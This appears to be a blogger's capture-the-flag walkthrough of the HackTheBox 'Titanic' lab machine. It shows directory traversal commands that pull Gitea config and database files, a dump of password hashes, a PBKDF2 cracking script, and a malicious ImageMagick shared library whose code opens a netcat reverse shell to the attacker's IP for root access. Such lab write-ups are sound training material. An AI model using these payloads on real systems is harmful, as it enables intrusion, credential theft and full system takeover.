![[Intro_image.png]] ## Summary of Exploitation Today I pwned Titanic from HacktheBox. Titanic was an "easy" box that required some patience and thorough enumeration. I started with the discovery of a Gitea instance running on a subdomain dev. The code in the repository showed the location to the Gitea config files. I was able to download the contents of the Gitea database file by exploiting a directory traversal vulnerability. Once credentials were obtained, I was able to log in via SSH. From there, I discovered a vulnerable version of ImageMagic which made it possible to execute root commands. ## Recon Phase I started with my tried and true nmap scan. `sudo nmap -sC -sV -p- --min-rate 10000 10.129.211.231 -oA nmap-out` ``` Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-16 15:07 EST Nmap scan report for 10.129.211.231 Host is up (0.024s latency). Not shown: 65533 closed tcp ports (reset) PORT   STATE SERVICE VERSION 22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey:   |   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA) |_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519) 80/tcp open  http    Apache httpd 2.4.52 |_http-title: Did not follow redirect to http://titanic.htb/ |_http-server-header: Apache/2.4.52 (Ubuntu) Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.64 seconds ``` | Port | Protocol | Protocol Details | | ---- | -------- | ------------------- | | 22 | SSH | OpenSSH 8.9p1 | | 80 | http | Apache httpd 2.4.52 | Looks like we are dealing with an Ubuntu Linux webserver. I'll go ahead and add titanic.htb to my etc/hosts file. ![[etchosts_titanic.png]] I'll navigate to the site and see what we got at `http://titanic.htb` ![[webpage_titanic.png]] Not really sure what I was expecting, but this made sense. The real Titanic had 4 smoke stacks not 6, but I understand, I like AI images too. I clicked around and it looks like the book feature is the only thing clickable. Clicking it shows a little modal to book a trip. ![[book_modal_titanic.png]] I went ahead and filled out the booking and it downloaded a json file to my machine containing what I inputted. ![[downloaded_json.png]] I'm going to open Burp Suite and capture that request. ![[capture_book_request.png]] First a POST request is sent to /book containing the data I inputted. What's interesting is the response. ![[book_response_titanic.png]] I'll forward the request so I can intercept the GET request for the download, It's possible I could download other files. ![[download_request_titanic.png]] Instead of grabbing that json file, what if instead I try to grab `/etc/passwd` ![[directory_traversal_titanic.png]] Well alright! I looked around for a bit and couldn't find anything to move forward, other than a user on the machine "developer". I'll come back to this. I'm going to use ffuf to see if there are any hidden subdomains. `ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.titanic.htb" -u http://titanic.htb` I'll wait for the spill and filter accordingly ![[Spill_titanic.png]] `ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.titanic.htb" -u http://titanic.htb -fl 10` ![[Found_subdomain_titanic.png]] Nice, I found dev. I'll add this new subdomain to my `/etc/hosts` file. ![[etchosts_titanic_subdomain.png]] I'll navigate to it and see what secrets it holds. ![[Gitea_repo_titanic.png]] Nice, it's a local repository for their application. Clicking "Explore" I can see that developer has 2 repositories. ![[teo_repos_titanic.png]] The flask app is cool and all, but I'm more interested in the docker-config. Since I have read access, I can crawl around the repo and see if they exposed any critical information. ![[critical_information_gitea_titanic.png]] Perfect! ## Exploitation Phase This is great, I have the path to the gitea data. Gitea stores critical information in the app.ini file. According to the documentation, I can assume as to where that file may be. `../home/developer/gitea/data/conf/app.ini` `../home/developer/gitea/data/<custom>/conf/app.ini` If it isn't in the top option, I'll have to bruteforce for other custom directories. Unfortunately for me, it was not the top option. ![[no_giteadb_file_titanic.png]] Since I have no idea where anything is, I'm going to use ffuf to bruteforce some directories. `ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://titanic.htb/download\?ticket\=../../../../../../home/developer/gitea/data/FUZZ -t 10 -e ".db,.ini"` ![[ffuf_bruteforce_one_titanic.png]] I'll check out git. `ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://titanic.htb/download\?ticket\=../../../../../../home/developer/gitea/data/git/FUZZ -t 10 -e ".db,.ini"` ![[ffuf_bruteforce_two_ssh_titanic.png]] I'll check out .ssh. `ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://titanic.htb/download\?ticket\=../../../../../../home/developer/gitea/data/git/.ssh/FUZZ -t 10 -e ".db,.ini"` ![[the_dot_ssh_dir_titanci.png]] I'll download that environment file using curl. `curl 'http://titanic.htb/download?ticket=../../../../../../home/developer/gitea/data/git/.ssh/environment' -v` ![[Actual_location_of_giteadb.png]] Alas, the custom location! `/data/gitea` my stupid directory lists didn't contain "Gitea", would have saved me a headache. Now I can grab that ini file. `curl 'http://titanic.htb/download?ticket=../../../../../../home/developer/gitea/data/gitea/conf/app.ini' > app.ini` There is a ton of good information in this file. but I'm after the database, this file shows me the location. ![[dblocation_titanic.png]] I'll download this db file using curl. `curl 'http://titanic.htb/download?ticket=../../../../../../home/developer/gitea/data/gitea/gitea.db' > gitea.db` And I'll dump the user table using sqlite3 ``` sqlite3 gitea.db sqlite3> select * from user; ``` ``` 1|administrator|administrator||[email protected]|0|enabled|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|pbkdf2$50000$50|0|0|0||0|||70a5bd0c1a5d23caa49030172cdcabdc|2d149e5fbd1b20cf31db3e3c6a28fc9b|en-US||1722595379|172 2597477|1722597477|0|-1|1|1|0|0|0|1|0|2e1e70639ac6b0eecbdab4a3d19e0f44|[email protected]|0|0|0|0|0|0|0|0|0||gitea-auto|0 2|developer|developer||[email protected]|0|enabled|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|0|0|0||0|||0ce6f07fc9b557bc070fa7bef76a0d15|8bf3e3452b78544f8bee9400d6936d34|en-US||1722595646|172260 3397|1722603397|0|-1|1|0|0|0|0|1|0|e2d95b7e207e432f62f3508be406c11b|[email protected]|0|0|0|0|2|0|0|0|0||gitea-auto|0 ``` It leaves me with a bit of a mess, but after some googling and research I understand what I'm looking for. First of all, I'm after the developer user credentials so I can strip everything else leaving me with the one entry. ``` 2|developer|developer||[email protected]|0|enabled|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|pbkdf2$50000$50|0|0|0||0|||0ce6f07fc9b557bc070fa7bef76a0d15|8bf3e3452b78544f8bee9400d6936d34|en-US||1722595646|172260 3397|1722603397|0|-1|1|0|0|0|0|1|0|e2d95b7e207e432f62f3508be406c11b|[email protected]|0|0|0|0|2|0|0|0|0||gitea-auto|0 ``` Now in order to crack this, I'm following a guide from "The CyberSec Guru" [here](https://thecybersecguru.com/ctf-walkthroughs/mastering-compiled-beginners-guide-from-hackthebox/). Cracking with hashcat or john wasn't too straight forward. They provided a script that will easily crack this hash, we just have to isolate the password hash and the salt. Script Kiddie powers ACTIVATE! ``` Hash : e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56 Salt : 8bf3e3452b78544f8bee9400d6936d34 ``` ``` import hashlib import binascii from pwn import log # Parameters from gitea.db salt  = binascii.unhexlify('8bf3e3452b78544f8bee9400d6936d34')  # 16 bytes key   = 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56'   dklen = 50 iterations = 50000 def hash(password, salt, iterations, dklen):    hashValue = hashlib.pbkdf2_hmac(        hash_name='sha256',          password=password,          salt=salt,          iterations=iterations,          dklen=dklen,        )    return hashValue # Crack dict = '/usr/share/wordlists/rockyou.txt' bar  = log.progress('Cracking PBKDF2') with open(dict, 'r', encoding='utf-8') as f:    for line in f:        password  = line.strip().encode('utf-8')          hashValue = hash(password, salt, iterations, dklen)        target    = binascii.unhexlify(key)        # log.info(f'Our target is: {target}')        bar.status(f'Trying: {password}, hash: {hashValue}')        if hashValue == target:            bar.success(f'Found password: {password}!')            break             bar.failure('Hash is not crackable.') ``` I'm going to run this in a python virtual environment. ``` python3 -m venv cracker source ./cracker/bin/activate pip3 install pwn python3 cracker.py ``` This took a little too long for comfort, I almost thought I was on the wrong path. After some time though, it eventually cracked. ``` > python3 cracker.py [+] Cracking PBKDF2: Found password: b'25282528'! ``` Do these number work with ssh? ``` > ssh [email protected] [email protected]'s password:   Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64) * Documentation:  https://help.ubuntu.com * Management:     https://landscape.canonical.com * Support:        https://ubuntu.com/pro System information as of Sun Feb 16 10:14:02 PM UTC 2025  System load:           0.0  Usage of /:            72.7% of 6.79GB  Memory usage:          15%  Swap usage:            0%  Processes:             227  Users logged in:       0  IPv4 address for eth0: 10.129.211.231  IPv6 address for eth0: dead:beef::250:56ff:feb0:8f77 Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status developer@titanic:~$ ``` Fantastic! I can grab the user flag! ``` developer@titanic:~$ cat user.txt   d27c3*************************** ``` ## Priv-Esc to root I immediately start with my usual checks, first is `sudo -l` ``` developer@titanic:~$ sudo -l [sudo] password for developer:   Sorry, user developer may not run sudo on titanic. ``` I'll check for running processes using `ps -aux` ![[running_process_titanitc.png]] Nothing fantastic. Lastly, I'll look at `/opt` `ls -la /opt` ``` developer@titanic:~$ ls -la /opt total 20 drwxr-xr-x  5 root root      4096 Feb  7 10:37 . drwxr-xr-x 19 root root      4096 Feb  7 10:37 .. drwxr-xr-x  5 root developer 4096 Feb  7 10:37 app drwx--x--x  4 root root      4096 Feb  7 10:37 containerd drwxr-xr-x  2 root root      4096 Feb  7 10:37 scripts ``` Any interesting custom scripts? ``` developer@titanic:/opt/scripts$ ls -la total 12 drwxr-xr-x 2 root root 4096 Feb  7 10:37 . drwxr-xr-x 5 root root 4096 Feb  7 10:37 .. -rwxr-xr-x 1 root root  167 Feb  3 17:11 identify_images.sh ``` `cat identify_images` ``` developer@titanic:/opt/scripts$ cat identify_images.sh   cd /opt/app/static/assets/images truncate -s 0 metadata.log find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log ``` This script is using ImageMagick to identify new images in the `/opt/app/static/assets/images` directory. Once discovered, it writes the output into a metadata.log file as root. I'll drop my own jpg image in that directory and see if it runs the script. `wget http://10.10.14.117/testImage.jpg` After a minute or so, the metadata.log updated containing my test image. ``` developer@titanic:/opt/app/static/assets/images$ cat metadata.log   /opt/app/static/assets/images/luxury-cabins.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 280817B 0.010u 0:00.003 /opt/app/static/assets/images/entertainment.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 291864B 0.000u 0:00.000 /opt/app/static/assets/images/testImage.jpg JPEG 3440x1337 3440x1337+0+0 8-bit sRGB 1.25728MiB 0.000u 0:00.000 /opt/app/static/assets/images/home.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 232842B 0.000u 0:00.000 /opt/app/static/assets/images/exquisite-dining.jpg JPEG 1024x1024 1024x1024+0+0 8-bit sRGB 280854B 0.000u 0:00.000 ``` I know that ImageMagick has not always had the best reputation. I'm going to run it and grab the version. ``` developer@titanic:/opt/app/static/assets/images$ magick --version Version: ImageMagick 7.1.1-35 Q16-HDRI x86_64 1bfce2a62:20240713 https://imagemagick.org Copyright: (C) 1999 ImageMagick Studio LLC License: https://imagemagick.org/script/license.php Features: Cipher DPC HDRI OpenMP(4.5)   Delegates (built-in): bzlib djvu fontconfig freetype heic jbig jng jp2 jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib Compiler: gcc (9.4) ``` I'll pass this version 7.1.1-35 to the google oracle machine and see what comes back. ![[Top_exploit_result.png]] The first item to return is dated from 2024, and references RCE. ![[exploitExplantion_titanic.png]] This is promising and the POC is incredibly simple. I simply have to drop a malicious shared library in the working directory. I'll give this a try. I'll create a file called exploit.c in the `/opt/app/static/assets/images` directory with the following contents. ``` #include <stdio.h> #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void init(){ system("busybox nc 10.10.14.117 9001 -e /bin/bash"); exit(0); } ``` I'll set a netcat listener on port 9001. `sudo nc -lvnp 9001` Then I'll run the following command to compile the script. `gcc -shared -fPIC -o libxcb.so.1 exploit.c` After a minute or so, I should see a catch on my listener. ``` > sudo nc -lvnp 9001 [sudo] password for kali:   listening on [any] 9001 ... connect to [10.10.14.117] from (UNKNOWN) [10.129.211.231] 57464 id uid=0(root) gid=0(root) groups=0(root) ``` I can now grab the root flag! ``` cat /root/root.txt 35081*********************** ``` Nice! This was a fun machine, It had some ups and downs and took me a bit longer than I would have liked, especially for an easy machine. I'm sure my family will forgive me. Happy Hacking!